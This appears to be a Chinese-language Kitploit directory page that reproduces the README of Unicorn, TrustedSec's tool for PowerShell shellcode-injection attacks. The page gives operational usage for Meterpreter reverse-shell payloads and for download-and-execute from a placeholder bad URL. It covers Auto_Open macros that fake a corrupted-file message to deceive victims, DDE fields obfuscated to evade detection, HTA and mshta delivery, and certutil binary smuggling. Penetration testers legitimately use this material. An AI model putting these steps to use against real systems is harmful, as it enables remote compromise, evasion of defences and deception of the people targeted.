Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
unicorn — Unicorn 是一个简单的工具,用于实施 PowerShell 降级攻击并直接向内存注入 shellcode。基于 Matthew Graeber 的 PowerShell 攻击技术以及 David Kennedy(TrustedSec)和 Josh Kelly 在 Defcon 18 上展示的 PowerShell 绕过技术。 | Kitploit
工具/GitHubGitHub/trustedsec/unicorn
钓鱼工具漏洞利用框架Payload生成IDS/IPS规避ShellcodeWeb应用程序漏洞利用渗透测试命令与控制社会工程学Shellcode 生成Payload 开发IDS/IPS规避 分类第 6 名
3.9k823143个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
Payload 开发 分类第 5 名
Payload生成 分类第 5 名
Shellcode 分类第 5 名
Shellcode 生成 分类第 5 名
GitHubtrustedsec/unicorn

unicorn

Unicorn 是一个简单的工具,用于实施 PowerShell 降级攻击并直接向内存注入 shellcode。基于 Matthew Graeber 的 PowerShell 攻击技术以及 David Kennedy(TrustedSec)和 Josh Kelly 在 Defcon 18 上展示的 PowerShell 绕过技术。

查看仓库网站

unicorn

作者:Dave Kennedy (@HackingDave) 网站:https://www.trustedsec.com

Magic Unicorn 是一个简单工具,用于实施 PowerShell 降级攻击并将 shellcode 直接注入内存。基于 Matthew Graeber 的 PowerShell 攻击方法以及 David Kennedy(TrustedSec)和 Josh Kelly 在 Defcon 18 上展示的 PowerShell 绕过技术。

使用非常简单,只需运行 Magic Unicorn(确保已安装 Metasploit 且路径正确),Magic Unicorn 将自动生成一段 PowerShell 命令,你只需将 PowerShell 代码复制粘贴到命令行窗口或通过 payload 传递系统即可。Unicorn 支持自定义 shellcode、Cobalt Strike 和 Metasploit。

root@kitploit:~
root@rel1k:~/Desktop# python unicorn.py 

                                                         ,/
                                                        //
                                                      ,//
                                          ___   /|   |//
                                      `__/\_ --(/|___/-/
                                   \|\_-\___ __-_`- /-/ \.
                                  |\_-___,-\_____--/_)' ) \
                                   \ -_ /     __ \( `( __`\|
                                   `\__|      |\)\ ) /(/|
           ,._____.,            ',--//-|      \  |  '   /
          /     __. \,          / /,---|       \       /
         / /    _. \  \        `/`_/ _,'        |     |
        |  | ( (  \   |      ,/\'__/'/          |     |
        |  \  \`--, `_/_------______/           \(   )/
        | | \  \_. \,                            \___/\
        | |  \_   \  \                                 \
        \ \    \_ \   \   /                             \
         \ \  \._  \__ \_|       |                       \
          \ \___  \      \       |                        \
           \__ \__ \  \_ |       \                         |
           |  \_____ \  ____      |                        |
           | \  \__ ---' .__\     |        |               |
           \  \__ ---   /   )     |        \              /
            \   \____/ / ()(      \          `---_       /|
             \__________/(,--__    \_________.    |    ./ |
               |     \ \  `---_\--,           \   \_,./   |
               |      \  \_ ` \    /`---_______-\   \\    /
                \      \.___,`|   /              \   \\   \
                 \     |  \_ \|   \              (   |:    |
                  \    \      \    |             /  / |    ;
                   \    \      \    \          ( `_'   \  |
                    \.   \      \.   \          `__/   |  |
                      \   \       \.  \                |  |
                       \   \        \  \               (  )
                        \   |        \  |              |  |
                         |  \         \ \              I  `
                         ( __;        ( _;            ('-_';
                         |___\        \___:            \___:


aHR0cHM6Ly93d3cuYmluYXJ5ZGVmZW5zZS5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTcvMDUvS2VlcE1hdHRIYXBweS5qcGc=

                
-------------------- Magic Unicorn 攻击向量 -----------------------------

在任何 Windows 平台上的原生 x86 PowerShell 注入攻击。
作者:TrustedSec 的 Dave Kennedy (https://www.trustedsec.com)
Twitter:@TrustedSec, @HackingDave
致谢:Matthew Graeber, Justin Elze, Chris Gates

祝 Magic Unicorns 愉快。

用法:python unicorn.py payload reverse_ipaddr port <可选 hta 或 macro, crt>
PS 示例:python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
PS 下载/执行:python unicorn.py windows/download_exec url=http://badurl.com/payload.exe
宏示例:python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro
宏示例 CS:python unicorn.py <cobalt_strike_file.cs> cs macro
宏示例 Shellcode:python unicorn.py <path_to_shellcode.txt> shellcode macro
HTA 示例:python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta
HTA 示例 CS:python unicorn.py <cobalt_strike_file.cs> cs hta
HTA 示例 Shellcode:python unicorn.py <path_to_shellcode.txt>: shellcode hta
DDE 示例:python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde
CRT 示例:python unicorn.py <path_to_payload/exe_encode> crt
自定义 PS1 示例:python unicorn.py <path to ps1 file>
自定义 PS1 示例:python unicorn.py <path to ps1 file> macro 500
Cobalt Strike 示例:python unicorn.py <cobalt_strike_file.cs> cs (以 C# 格式导出 CS)
自定义 Shellcode:python unicorn.py <path_to_shellcode.txt> shellcode (格式化为 0x00)
帮助菜单:python unicorn.py --help

-----POWERSHELL 攻击说明----

所有内容现在生成在两个文件中:powershell_attack.txt 和 unicorn.rc。文本文件包含将 PowerShell 攻击注入内存所需的全部代码。注意,你需要一个支持远程命令注入的地方。这通常可以通过 Excel/Word 文档、Metasploit 内的 psexec_commands、SQLi 等方式实现。你可以将此攻击用于许多场景。只需将 powershell_attack.txt 中的命令粘贴到任何命令提示符窗口或能够调用 PowerShell 可执行文件的地方,它就会为你返回一个 shell。此攻击还支持 windows/download_exec 作为 payload 方法,而不仅限于 Meterpreter payload。使用下载和执行功能时,只需运行 python unicorn.py windows/download_exec url=https://www.thisisnotarealsite.com/payload.exe,PowerShell 代码就会下载并执行该 payload。

请注意,你需要启用一个监听器来捕获攻击。

-----宏攻击说明----

对于宏攻击,你需要进入文件、属性、功能区,然后选择开发工具。完成后,你会看到一个开发工具选项卡。创建一个新宏,命名为 Auto_Open,并将生成的代码粘贴进去。这样宏就会自动运行。请注意,会弹出一个消息提示用户文件已损坏,并自动关闭 Excel 文档。这是正常行为!这是为了让受害者误以为 Excel 文档已损坏。之后你应该通过 PowerShell 注入获得一个 shell。

如果你针对 Office365/2016+ 版本的 Word 部署此攻击,需要将输出代码的第一行从:

Sub Auto_Open()

修改为:

Sub AutoOpen()

宏本身的名称也必须使用“AutoOpen”而非旧的“Auto_Open”命名方式。

注意:粘贴到 Excel 时,如果添加了多余的空格,你需要删除变量“x”下每个 PowerShell 代码部分之后的多余空格,否则会出现语法错误!

-----HTA 攻击说明----

HTA 攻击会自动生成两个文件:第一个是 index.html,它告诉浏览器使用 Launcher.hta,其中包含恶意的 PowerShell 注入代码。所有文件都导出到 hta_access/ 文件夹,共有三个主要文件:index.html、Launcher.hta 和 unicorn.rc 文件。你可以运行 msfconsole -r unicorn.rc 来启动 Metasploit 的监听器。

用户在使用 HTA 攻击时必须点击允许并接受,PowerShell 注入才能正常工作。

-----CERTUTIL 攻击说明----

certutil 攻击向量由 Matthew Graeber (@mattifestation) 发现,它允许你获取一个二进制文件,将其转换为 base64 格式,然后在受害者机器上使用 certutil 将其转换回二进制文件。这种方法几乎适用于任何系统,允许你通过一个伪造的证书文件将二进制文件传输到受害者机器上。要使用此攻击,只需将一个可执行文件放置在 unicorn 的路径中,然后运行 python unicorn.py <exe_name> crt 来获取 base64 输出。完成后,转到 decode_attack/ 文件夹,其中包含相关文件。bat 文件是一个可以在 Windows 机器上运行的命令,用于将其转换回二进制文件。

-----自定义 PS1 攻击说明----

此攻击方法允许你将任何 PowerShell 文件 (.ps1) 转换为编码命令或宏。

注意,如果选择宏选项,一个较大的 ps1 文件可能会超过 VBA 允许的换行符数量。你可以通过传递一个整数参数来更改每个 VBA 字符串中的字符数。

示例:

root@kitploit:~
python unicorn.py harmless.ps1
python unicorn.py myfile.ps1 macro
python unicorn.py muahahaha.ps1 macro 500

最后一个将使用 500 个字符的字符串而不是默认的 380 个,从而减少 VBA 中的换行符。

-----DDE Office COM 攻击说明----

此攻击向量将生成 DDEAUTO 公式,用于放置到 Word 或 Excel 中。COM 对象 DDEInitilize 和 DDEExecute 允许直接在 Office 中创建公式,从而能够在无需宏的情况下实现远程代码执行。此攻击已有文档记录,完整说明可在以下地址找到:

https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/

要使用此攻击,请运行以下示例:

root@kitploit:~
python unicorn.py <payload> <lhost> <lport> dde
python unicorn.py windows/meterpreter/reverse_https 192.168.5.5 443 dde

生成后,会生成 powershell_attack.txt(包含 Office 代码)和 unicorn.rc 文件(监听器组件,可通过 msfconsole -r unicorn.rc 调用来处理 payload 的监听器)。此外还会导出一个 download.ps1 文件(后文有说明)。

要应用此 payload,以 sensepost 文章为例:

  1. 打开 Word
  2. 插入选项卡 -> 快速部件 -> 域
  3. 选择 = (Formula) 并点击确定。
  4. 插入域后,你应该会看到“!Unexpected End of Formula”
  5. 右键点击该域,选择“切换域代码”
  6. 粘贴 Unicorn 生成的代码
  7. 保存 Word 文档。

打开 Office 文档后,你应该通过 PowerShell 注入获得一个 shell。注意 DDE 对字符大小有限制,我们需要使用 Invoke-Expression (IEX) 作为下载方法。

DDE 攻击会尝试下载 download.ps1(即我们的 PowerShell 注入攻击代码),因为字符大小有限制。你需要将 download.ps1 移动到受害者机器可以访问的位置。这意味着你需要将 download.ps1 托管在 Apache2 目录中,并确保受害者可以访问。

你可能会注意到一些命令使用了“{ QUOTE”,这些是隐藏特定命令的方法,相关文档在这里:http://staaldraad.github.io/2017/10/23/msword-field-codes/。在这里,我们修改了 WindowsPowerShell、powershell.exe 和 IEX 以避免检测。另外,请查看该 URL,它提供了一些不调用 DDE 的好方法。

-----导入 Cobalt Strike Beacon----

此方法将直接从 Cobalt Strike 导入 Cobalt Strike Beacon shellcode。

在 Cobalt Strike 中,导出 Cobalt Strike 的“CS”(C#)导出格式,并保存到文件中。例如,将文件命名为 cobalt_strike_file.cs。

导出代码看起来像这样:

  • length: 836 bytes */ byte[] buf = new byte[836] { 0xfc, etc

接下来,使用方法:

root@kitploit:~
python unicorn.py cobalt_strike_file.cs cs

cs 参数告诉 Unicorn 你想要使用 Cobalt Strike 功能。剩下的就是魔法了。

接下来只需将 PowerShell 命令复制到你拥有远程命令执行能力的地方。

注意:文件必须以 C# (CS) 格式从 Cobalt Strike 导出,才能正确解析。

此攻击有一些注意事项。注意 payload 大小会超过 14k+ 字节。这意味着如果你从命令行参数角度复制粘贴,你会受到 8191 字符大小限制(硬编码在 cmd.exe 中)。如果你直接从 cmd.exe 启动,这会是个问题,但如果你直接从 PowerShell 或其他常规应用程序启动,则不成问题。

以下是几个例子,wscript.shell 和 powershell 使用 USHORT - 65535 / 2 = 32767 大小限制:

root@kitploit:~
typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING;

对于此攻击,如果你直接从 powershell、VBScript (WSCRIPT.SHELL) 启动,则没有问题。

-----自定义 Shellcode 生成方法----

此方法允许你将自定义 shellcode 插入 Unicorn 攻击中。PowerShell 代码会增加 powershell.exe 的栈空间(通过 VirtualAlloc)并将其注入内存。

请注意,为了使此方法生效,你指向 Unicorn 的 txt 文件必须按以下格式格式化,否则将无法工作:

0x00,0x00,0x00 等等。

另外注意大小限制。PowerShell 命令的总长度不能超过 8191 个字符。这是 Windows 中命令行参数的最大大小限制。

用法:

root@kitploit:~
python unicorn.py shellcode_formatted_properly.txt shellcode

接下来只需将 PowerShell 命令复制到你拥有远程命令执行能力的地方。

注意:文件必须以 0x00,0x00,0x00 类型格式正确格式化,并且 txt 文件中不能包含除 shellcode 以外的任何内容。

此攻击有一些注意事项。注意如果你的 payload 大小较大,它将无法放入 cmd.exe。这意味着如果你从命令行参数角度复制粘贴,你会受到 8191 字符大小限制(硬编码在 cmd.exe 中)。如果你直接从 cmd.exe 启动,这会是个问题,但如果你直接从 PowerShell 或其他常规应用程序启动,则不成问题。

以下是几个例子,wscript.shell 和 powershell 使用 USHORT - 65535 / 2 = 32767 大小限制:

root@kitploit:~
typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING;

对于此攻击,如果你直接从 powershell、VBScript (WSCRIPT.SHELL) 启动,则没有问题。

-----SettingContent-ms 扩展方法----

首先,如果你还没看过,请务必查看 Matt Nelson (enigma0x3) 编写的精彩 SpectreOps 博客:

https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39

此方法利用一种特定的文件类型“.SettingContent-ms”,该文件类型既支持从浏览器直接加载(打开 + 命令执行),也支持通过嵌入 Office 产品的方式进行扩展。这里我们主要关注 Unicorn PowerShell 攻击向量中用于命令执行的扩展类型设置。

此攻击向量支持多种方法。由于该攻击的字符大小有限,部署方法为 HTA。

要详细了解如何将此攻击武器化,请访问:

https://www.trustedsec.com/2018/06/weaponizing-settingcontent/

完成此攻击所需的步骤是:从独立模式或 HTA 模式生成 .SettingContent-ms 文件。HTA 方法支持 Metasploit、Cobalt Strike 以及直接的 shellcode 攻击。

下面四种使用方法:

HTA SettingContent-ms Metasploit:python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms
HTA 示例 SettingContent-ms:python unicorn.py <cobalt_strike_file.cs cs ms
HTA 示例 SettingContent-ms:python unicorn.py <path_to_shellcode.txt>: shellcode ms
生成 .SettingContent-ms:python unicorn.py ms

第一个是 Metasploit payload,第二个是 Cobalt Strike,第三个是你自己的 shellcode,第四个是空白的 .SettingContent-ms 文件。

生成完成后,它会导出一个名为 Standalone_NoASR.SettingContent-ms 的文件,该文件可能位于默认的根 Unicorn 目录(如果使用独立文件生成)或 hta_attack/ 文件夹下。你需要编辑 Standalone_NoASR.SettingContent-ms 文件,将:

REPLACECOOLSTUFFHERE

替换为:

mshta http://<apache_server_ip_or_dns_name/Launcher.hta。

然后将 hta_attack 的内容移动到 /var/www/html。

一旦受害者点击了 .SettingContent-ms 文件,mshta 将在受害者机器上被调用,然后下载具有代码执行能力的 Unicorn HTA 文件。

特别感谢 Matt Nelson 的出色研究

另外请查看:https://www.trustedsec.com/2018/06/weaponizing-settingcontent/

用法:

root@kitploit:~
python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms
python unicorn.py <cobalt_strike_file.cs cs ms
python unicorn.py <patth_to_shellcode.txt>: shellcode ms
python unicorn.py ms
下载工具